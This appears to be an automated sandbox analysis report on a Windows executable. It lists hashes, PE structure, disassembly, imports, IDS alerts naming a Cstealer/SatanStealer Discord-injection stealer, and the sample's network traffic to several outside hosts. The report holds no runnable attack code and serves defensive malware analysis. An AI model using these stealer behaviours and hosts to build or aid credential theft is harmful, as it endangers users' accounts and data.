File size:	16'905'542 bytes
MD5:	258322c37f4f5c632bd6c79520899603
SHA1:	f7971d8fef96c59df97a2b31436cc0c1f8921182
SHA256:	09b67ccd7d38d2f868eb2a67c73e2e8d45aefe1054522477b259c399527b2c39
SHA512:	bfaf83d01607c5d481f6aa0415e243c91a28f84f595c65f76ef6b9291cccc8d58d02f114b3d30cb24d6fa5e8d2ed6013a2609715344739946dcced07b7babebc
SSDEEP:	393216:ImyCi6hZ2YsHFUK2JjXMCHWUjtjx5WsqWxTC0xQwe8les+j:1yCi+Z2YwUlJjXMb8AsqACj3Qes
TLSH:	8807334467F128E9D9EF403D9A97D569EA73B84A1FF5C24FC79C02920E331A41E39B21
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Zpc.Zpc.Zpc...`.]pc...f..pc...g.Ppc.....Ypc...`.Spc...g.Kpc...f.rpc...b.Qpc.Zpb..pc.O.g.Cpc.O.a.[pc.RichZpc.........PE..d..

File Icon


Icon Hash:	6989b5a1a1a5a1a1

Static PE Info

General

Entrypoint:	0x14000cdb0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x670EF04D [Tue Oct 15 22:44:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F2F54E55EFCh
dec eax
add esp, 28h
jmp 00007F2F54E55B1Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F2F54E562C8h
test eax, eax
je 00007F2F54E55CC3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F2F54E55CA7h
dec eax
cmp ecx, eax
je 00007F2F54E55CB6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003577Ch], ecx
jne 00007F2F54E55C90h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F2F54E55C99h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F2F54E55CA9h
mov byte ptr [00035765h], 00000001h
call 00007F2F54E553F5h
call 00007F2F54E566E0h
test al, al
jne 00007F2F54E55CA6h
xor al, al
jmp 00007F2F54E55CB6h
call 00007F2F54E631FFh
test al, al
jne 00007F2F54E55CABh
xor ecx, ecx
call 00007F2F54E566F0h
jmp 00007F2F54E55C8Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003572Ch], 00000000h
mov ebx, ecx
jne 00007F2F54E55D09h
cmp ecx, 01h
jnbe 00007F2F54E55D0Ch
call 00007F2F54E5623Eh
test eax, eax
je 00007F2F54E55CCAh
test ebx, ebx
jne 00007F2F54E55CC6h
dec eax
lea ecx, dword ptr [00035716h]
call 00007F2F54E62FF2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca5c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x178c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2250	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x49000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f00	0x2a000	a6c3b829cc8eaabb1a474c227e90407f	False	0.5514206659226191	data	6.487493643901088	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a50	0x12c00	c9531b03ddf41861eeda142139c6800d	False	0.52453125	data	5.752790286973688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2250	0x2400	181312260a85d10a1454ba38901c499b	False	0.4705946180555556	data	5.290347578351011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x178c	0x1800	bd909864baf5b29ccc61cfa977b8e075	False	0.8546549479166666	data	7.566407732829443	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x49000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x470e8	0x1180	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9837053571428571
RT_GROUP_ICON	0x48268	0x14	data	1.05
RT_MANIFEST	0x4827c	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T00:38:46.672880+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.4	49744	TCP
2024-11-13T00:38:58.408138+0100	2857287	ETPRO MALWARE Python Cstealer/SatanStealer Discord JS Inject Inbound	1	185.199.108.133	443	192.168.2.4	49757	TCP
2024-11-13T00:39:26.467794+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.4	49763	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 00:38:40.278968096 CET	49740	80	192.168.2.4	208.95.112.1
Nov 13, 2024 00:38:40.285197973 CET	80	49740	208.95.112.1	192.168.2.4
Nov 13, 2024 00:38:40.285284996 CET	49740	80	192.168.2.4	208.95.112.1
Nov 13, 2024 00:38:40.285893917 CET	49740	80	192.168.2.4	208.95.112.1
Nov 13, 2024 00:38:40.292423964 CET	80	49740	208.95.112.1	192.168.2.4
Nov 13, 2024 00:38:40.880889893 CET	80	49740	208.95.112.1	192.168.2.4
Nov 13, 2024 00:38:40.906009912 CET	49740	80	192.168.2.4	208.95.112.1
Nov 13, 2024 00:38:40.913033962 CET	80	49740	208.95.112.1	192.168.2.4
Nov 13, 2024 00:38:40.913743973 CET	49740	80	192.168.2.4	208.95.112.1
Nov 13, 2024 00:38:53.899693012 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:53.899718046 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:53.899786949 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:53.900768995 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:53.900783062 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.521121979 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.521961927 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.521972895 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.522834063 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.522914886 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.524652958 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.524713039 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.525034904 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.525043011 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.567476034 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.717989922 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.718039989 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.718255997 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.718714952 CET	49752	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.718730927 CET	443	49752	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.721276045 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.721307993 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:54.721528053 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.722044945 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:54.722055912 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.324538946 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.325081110 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:55.325092077 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.325963974 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.326025963 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:55.327517986 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:55.327574968 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.327792883 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:55.327799082 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.379942894 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:55.522588968 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.522636890 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.522835970 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:55.523221016 CET	49753	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:38:55.523231030 CET	443	49753	162.159.128.233	192.168.2.4
Nov 13, 2024 00:38:55.525696993 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:55.525728941 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:55.525820017 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:55.526484966 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:55.526496887 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.165549040 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.166173935 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.166188955 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.167061090 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.167164087 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.168399096 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.168456078 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.188414097 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.188429117 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.188621044 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.188652039 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.188875914 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.188905954 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.190545082 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.190572023 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.190865993 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.190898895 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.191045046 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.191072941 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.191087961 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.191101074 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.191240072 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.191260099 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.191286087 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.191298962 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.191488028 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.191538095 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.191565990 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.198518991 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.198719025 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.198760986 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.198782921 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.198821068 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.198843956 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.198925972 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.203382969 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:56.203766108 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:56.203774929 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:57.068563938 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:57.068619967 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:57.068676949 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:57.075758934 CET	49754	443	192.168.2.4	162.159.138.232
Nov 13, 2024 00:38:57.075774908 CET	443	49754	162.159.138.232	192.168.2.4
Nov 13, 2024 00:38:57.379215956 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:57.379240036 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:57.379308939 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:57.380291939 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:57.380306005 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.025985003 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.026710987 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.026741028 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.027622938 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.027678013 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.029443979 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.029510021 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.029915094 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.029922962 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.083302021 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.282216072 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.282299995 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.282330036 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.282371044 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.282401085 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.282424927 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.282455921 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.282465935 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.283170938 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.283186913 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.283194065 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.283260107 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.283277988 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.283286095 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.283365965 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.406343937 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.406428099 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.406457901 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.406526089 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.406548023 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.406557083 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.406584024 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.407083035 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.407110929 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.407138109 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.407138109 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.407147884 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.407404900 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.407854080 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.407928944 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.407932997 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.407970905 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.408000946 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.408051014 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:38:58.408080101 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.408139944 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.408411980 CET	49757	443	192.168.2.4	185.199.108.133
Nov 13, 2024 00:38:58.408422947 CET	443	49757	185.199.108.133	192.168.2.4
Nov 13, 2024 00:39:00.198374987 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:00.198410988 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:00.198482037 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:00.199048996 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:00.199062109 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.051076889 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.051676989 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:01.051703930 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.052594900 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.052660942 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:01.054028988 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:01.054085970 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.054356098 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:01.054363012 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.098707914 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:01.370937109 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.371006012 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.371072054 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:01.371592045 CET	49760	443	192.168.2.4	45.112.123.126
Nov 13, 2024 00:39:01.371611118 CET	443	49760	45.112.123.126	192.168.2.4
Nov 13, 2024 00:39:01.557254076 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:01.557293892 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:01.557770014 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:01.558401108 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:01.558413982 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.402786016 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.403584957 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.403601885 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.404484034 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.404540062 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.407172918 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.407231092 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.407645941 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.407651901 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.408308029 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.408340931 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.408457041 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.408487082 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.408567905 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.408587933 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.409650087 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.409662008 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:02.410274029 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.410423040 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:02.410443068 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:03.887020111 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:03.887095928 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:03.887152910 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:03.887872934 CET	49761	443	192.168.2.4	45.112.123.227
Nov 13, 2024 00:39:03.887896061 CET	443	49761	45.112.123.227	192.168.2.4
Nov 13, 2024 00:39:03.890350103 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:03.890398026 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:03.890464067 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:03.891086102 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:03.891102076 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.496390104 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.496967077 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:04.496988058 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.497864008 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.497992039 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:04.499228954 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:04.499289036 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.499490023 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:04.499497890 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.551841974 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:04.706352949 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.706408024 CET	443	49762	162.159.128.233	192.168.2.4
Nov 13, 2024 00:39:04.706731081 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:04.707092047 CET	49762	443	192.168.2.4	162.159.128.233
Nov 13, 2024 00:39:04.707103014 CET	443	49762	162.159.128.233	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 00:38:40.255546093 CET	62844	53	192.168.2.4	1.1.1.1
Nov 13, 2024 00:38:40.263880968 CET	53	62844	1.1.1.1	192.168.2.4
Nov 13, 2024 00:38:53.892065048 CET	61771	53	192.168.2.4	1.1.1.1
Nov 13, 2024 00:38:53.898650885 CET	53	61771	1.1.1.1	192.168.2.4
Nov 13, 2024 00:38:57.369591951 CET	56195	53	192.168.2.4	1.1.1.1
